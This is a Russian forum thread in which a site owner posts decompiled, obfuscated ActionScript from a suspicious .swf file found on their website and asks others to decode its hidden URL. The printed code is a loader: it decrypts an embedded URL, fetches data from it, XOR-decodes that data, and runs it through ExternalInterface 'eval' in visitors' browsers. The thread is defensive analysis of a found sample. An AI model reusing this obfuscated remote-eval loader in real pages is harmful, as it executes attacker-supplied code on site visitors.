Помогите расшифровать код в .swf файле

Тема в разделе "Флеш", создана пользователем matrix-ukr, 10 ноя 2013.

Статус темы:
Закрыта.
  1. matrix-ukr

    matrix-ukr Создатель

    Регистр.:
    25 фев 2008
    Сообщения:
    19
    Симпатии:
    2
    Помогите расшифровать код в .swf файле.
    Надо вытащить урл.
    Код:
    1  //Кадр 0
    2  //  Тег действия #0
    3 
    4  for (;;)
    5  {
    6      if (511629458 == 511629762)
    7      {
    8          false;
    9          1238734783 & -1238734784;
    10          function decrypt(hex)
    11          {
    12              var __reg5;
    13              var __local0;
    14              if (205673138 ^ 205673138)
    15              {
    16                  __local0 = __reg5 = "A";
    17              }
    18              else
    19              {
    20                  __reg5 = "A";
    21                  var __reg1;
    22                  __local0 = __reg1 = 0;
    23              }
    24              __local0;
    25              for (;;)
    26              {
    27                  408838581 ^ 408838581;
    28                  2136550932 & -2136550933;
    29                  if (__reg1 >= hex.B)
    30                  {
    31                      break;
    32                  }
    33                  if (1890669217 ^ 1890669217)
    34                  {
    35                      "C";
    36                  }
    37                  else
    38                  {
    39                      var __reg3;
    40                      if (!(1502222836 ^ 1502222836))
    41                      {
    42                          __reg3 = hex.C(__reg1, 2);
    43                      }
    44                  }
    45                  1234629013 ^ 1234629013;
    46                  127070979 & -127070980;
    47                  var __reg2 = int("D" + __reg3);
    48                  1130412752 ^ 1130412752;
    49                  __reg2 = __reg2 ^ 146;
    50                  1618839222 & -1618839223;
    51                  if (!(1876906722 ^ 1876906722))
    52                  {
    53                      __reg5 = __reg5 + chr(__reg2);
    54                  }
    55                  var __local1;
    56                  var __local2;
    57                  if (1459356484 ^ 1459356484)
    58                  {
    59                      __local1 = __reg1;
    60                      __local2 = 2;
    61                  }
    62                  else
    63                  {
    64                      __reg1 = __reg1 + 2;
    65                      __local1 = 1035411512;
    66                      __local2 = -1035411513;
    67                  }
    68                  __local1 & __local2;
    69              }
    70              return __reg5;
    71          }
    72          function decrypt2(x)
    73          {
    74              var __reg3;
    75              if (!(1305523191 ^ 1305523191))
    76              {
    77                  __reg3 = "E";
    78                  var __reg5;
    79              }
    80              358163740 & -358163741;
    81              __reg5 = "A";
    82              var __reg1 = 0;
    83              for (;;)
    84              {
    85                  668399191 & -668399192;
    86                  if (__reg1 >= x.B)
    87                  {
    88                      break;
    89                  }
    90                  728960938 & -728960939;
    91                  var __reg2;
    92                  if (!(659520091 ^ 659520091))
    93                  {
    94                      __reg2 = x[__reg1];
    95                  }
    96                  var __local3;
    97                  var __local4;
    98                  if (1304094488 ^ 1304094488)
    99                  {
    100                    __local3 = __reg1;
    101                    __local4 = __reg3.B;
    102                }
    103                else
    104                {
    105                    __local3 = ord(__reg3.F(__reg1 % __reg3.B));
    106                    __local4 = 1600397074;
    107                }
    108                if (!(__local4 ^ __local4))
    109                {
    110                    __reg2 = __reg2 - __local3;
    111                }
    112                381488006 ^ 381488006;
    113                var __local5;
    114                var __local6;
    115                if (1588179671 ^ 1588179671)
    116                {
    117                    __local5 = __reg5;
    118                    __local6 = chr(__reg2);
    119                }
    120                else
    121                {
    122                    __reg5 = __reg5 + chr(__reg2);
    123                    __local5 = 1791047020;
    124                    __local6 = -1791047021;
    125                }
    126                __local5 & __local6;
    127                var __local7 = 1234090841 ^ 1234090841 ? (__reg1 + 1) : (++__reg1, 353477196);
    128                if (__local7 ^ __local7)
    129                {
    130                    return;
    131                }
    132            }
    133            return __reg5;
    134        }
    135        function checkFileLoaded()
    136        {
    137            1023518590 ^ 1023518590;
    138            1053853491 & -1053853492;
    139            657257249 & -657257250;
    140            if (G.H != undefined)
    141            {
    142                503511606 ^ 503511606;
    143                if (!(694364267 ^ 694364267))
    144                {
    145                    var __reg1 = G.H;
    146                }
    147                2090915988 & -2090915989;
    148                1959531698 & -1959531699;
    149                __reg1 = I(__reg1);
    150                816324877 & -816324878;
    151                K.L.M("J", __reg1);
    152                1440055877 & -1440055878;
    153                if (163421523 ^ 163421523)
    154                {
    155                    return;
    156                }
    157                ();
    158            }
    159        }
    160        if (!(413982461 ^ 413982461))
    161        {
    162            var  = [202, 169, 164, 164, 158, 147, 100, 154, 178, 152, 159, 209, 222, 212, 148, 209, 212, 98, 219, 197, 147, 159, 157, 166, 143, 210, 149, 167, 171, 165, 201, 170, 95, 213, 173, 154, 171, 145, 155, 104, 108, 153, 148, 109, 107, 110, 106, 107, 151, 148, 150, 150, 196, 154, 105, 158, 156, 153, 156, 103, 100, 197, 147, 149, 108, 157, 105, 157, 158, 152, 161, 177, 118, 104, 150, 107];
    163        }
    164        2138120251 ^ 2138120251;
    165        545771429 & -545771430;
    166        if (!(1847114876 ^ 1847114876))
    167        {
    168            ("G", ());
    169        }
    170        1215427511 & -1215427512;
    171        var  = (, 200);
    172        1317206141 & -1317206142;
    173        2145970620 & -2145970621;
    174        loadVariables((), G);
    175        1329807057 ^ 1329807057;
    176        if (19847025 != 19847107)
    177        {
    178            continue;
    179        }
    180    }
    181 }
    182
    183
    184
    

    видно из кода что он зашифрован
    Прогой ffdec декомпилирую с деобфускатором
    Код:
    1 function decrypt(hex)
    2 {
    3 var _loc5_ = "";
    4 var _loc1_ = 0;
    5 while(_loc1_ < hex.length)
    6 {
    7 var _loc3_ = hex.substr(_loc1_,2);
    8 var _loc2_ = int("0x" + _loc3_);
    9 _loc2_ = _loc2_ ^ 146;
    10 _loc5_ = _loc5_ + chr(_loc2_);
    11 _loc1_ = _loc1_ + 2;
    12 }
    13 return _loc5_;
    14 }
    15 function decrypt2(x)
    16 {
    17 var _loc3_ = "b504dd59834bdefad4fdd742bb4577d82b997";
    18 var _loc5_ = "";
    19 var _loc1_ = 0;
    20 while(_loc1_ < x.length)
    21 {
    22 var _loc2_ = x[_loc1_];
    23 _loc2_ = _loc2_ - ord(_loc3_.charAt(_loc1_ % _loc3_.length));
    24 _loc5_ = _loc5_ + chr(_loc2_);
    25 _loc1_ = _loc1_ + 1;
    26 }
    27 return _loc5_;
    28 }
    29 function checkFileLoaded()
    30 {
    31 if(container.data != undefined)
    32 {
    33 var _loc1_ = container.data;
    34 _loc1_ = decrypt(_loc1_);
    35 flash.external.ExternalInterface.call("eval",_loc1_);
    36 clearInterval(loadingInterval);
    37 }
    38 }
    39 var url = [202,169,164,164,158,147,100,154,178,152,159,209,222,212,148,209,212,98,219,197,147,159,157,166,143,210,149,167,171,165,201,170,95,213,173,154,171,145,155,104,108,153,148,109,107,110,106,107,151,148,150,150,196,154,105,158,156,153,156,103,100,197,147,149,108,157,105,157,158,152,161,177,118,104,150,107];
    40 this.createEmptyMovieClip("container",this.getNextHighestDepth());
    41 var loadingInterval = setInterval(checkFileLoaded,200);
    42 loadVariables(decrypt2(url),container);
    43
    44
    

    видно что есть урл,
    Код:
    1 var url = [202,169,164,164,158,147,100,154,178,152,159,209,222,212,148,209,212,98,219,197,147,159,157,166,143,210,149,167,171,165,201,170,95,213,173,154,171,145,155,104,108,153,148,109,107,110,106,107,151,148,150,150,196,154,105,158,156,153,156,103,100,197,147,149,108,157,105,157,158,152,161,177,118,104,150,107]
    2 
    но он опять зашифрован скриптом
    мож кто силен в этом, расшифрует?
    p.s. Этот файл обнаружил у себя на сайте, интересно что и куда он шлет.
     
  2. esche

    esche

    Регистр.:
    9 авг 2009
    Сообщения:
    359
    Симпатии:
    243
    Так попробуй выполнить функцию
    Код:
    function decrypt2(x)
    16 {
    17 var _loc3_ = "b504dd59834bdefad4fdd742bb4577d82b997";
    18 var _loc5_ = "";
    19 var _loc1_ = 0;
    20 while(_loc1_ < x.length)
    21 {
    22 var _loc2_ = x[_loc1_];
    23 _loc2_ = _loc2_ - ord(_loc3_.charAt(_loc1_ % _loc3_.length));
    24 _loc5_ = _loc5_ + chr(_loc2_);
    25 _loc1_ = _loc1_ + 1;
    26 }
    27 return _loc5_;
    28 }
    передав в неё
    Код:
    1 var url = [202,169,164,164,158,147,100,154,178,152,159,209,222,212,148,209,212,98,219,197,147,159,157,166,143,210,149,167,171,165,201,170,95,213,173,154,171,145,155,104,108,153,148,109,107,110,106,107,151,148,150,150,196,154,105,158,156,153,156,103,100,197,147,149,108,157,105,157,158,152,161,177,118,104,150,107]
    
     
  3. matrix-ukr

    matrix-ukr Создатель

    Регистр.:
    25 фев 2008
    Сообщения:
    19
    Симпатии:
    2
    esche, еще бы знать как.:nezn:

    просто я в програмировании нуб полный
    вот и пытаюся разобраться.
    пошел я устанавливать тогда AdobeFlashPro и ковырять его.:nezn:
     
  4. esche

    esche

    Регистр.:
    9 авг 2009
    Сообщения:
    359
    Симпатии:
    243
     
    matrix-ukr нравится это.
  5. matrix-ukr

    matrix-ukr Создатель

    Регистр.:
    25 фев 2008
    Сообщения:
    19
    Симпатии:
    2
    спс , esche , +:ay:
     
Статус темы:
Закрыта.